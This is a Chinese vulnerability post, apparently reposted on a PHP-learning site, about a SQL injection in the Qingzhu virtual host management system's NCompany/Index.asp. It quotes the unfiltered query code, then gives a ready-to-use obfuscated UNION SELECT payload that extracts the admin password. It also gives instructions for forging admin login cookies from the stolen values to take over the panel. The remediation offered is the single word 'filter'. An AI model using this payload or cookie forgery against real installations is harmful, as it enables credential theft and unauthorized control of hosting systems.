来源:自学PHP网 时间:2015-04-16 23:15 作者: 阅读:次
[导读] 清竹虚拟主机管理系统sql注入漏洞NCompany Index asploadfile_fromcache templatePathNCompany-Index html 39;加载index html模板TempCon=TempConApplication(Qz_TP_templatePathNComp...
清竹虚拟主机管理系统sql注入漏洞
NCompany\Index.asp
loadfile_fromcache templatePath&"NCompany-Index.html" '加载index.html模板 TempCon=TempCon&Application("Qz_TP_"&templatePath&"NCompany-Index.html") Id=ReStrs(Request.QueryString("Id"))//过滤不严格 Set rs=Conn.Execute("Select * From [Qz_NComPany] Where [Id]="&Id)//直接带入sql语句 Address=rs("Address") TelInfo=rs("TelInfo")
exp:ncompany/index.asp?id=1%09union%09%se%lect%091,2,3,4,5,adminpass,7,8,9,10,11%09from%09adminuser%09where%09id=1
构造cookie:
AdminUser = 注入得来的adminuser
PassWord = 注入得来的adminpass
AdminExu = system.asp, jihua.asp, news_admin.asp, mailtemplate.asp, ads.asp, success.asp, ServerQQ.asp, member.asp, message.asp, agent_fenlei.asp, grade.asp, sendmail.asp, proclass.asp, domain.asp, domainbuy.asp, domainupdate.asp, hostlist.asp, hostbuy.asp, vpath.asp, bindcheck.asp, cert.asp, sqllist.asp, sqlbuy.asp, my_sqllist.asp, my_sqlbuy.asp, maillist.asp, mailbuy.asp, apppool.asp, scriptmaps.asp, serverlist.asp, apppoolmode.asp, serverdomain.asp, shopitem.asp, shoplist.asp, shopbuy.asp, money.asp, moneylog.asp, pay.asp, payonline.asp, domain_api.asp, password.asp, template.asp, links.asp
修复方案:
过滤
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com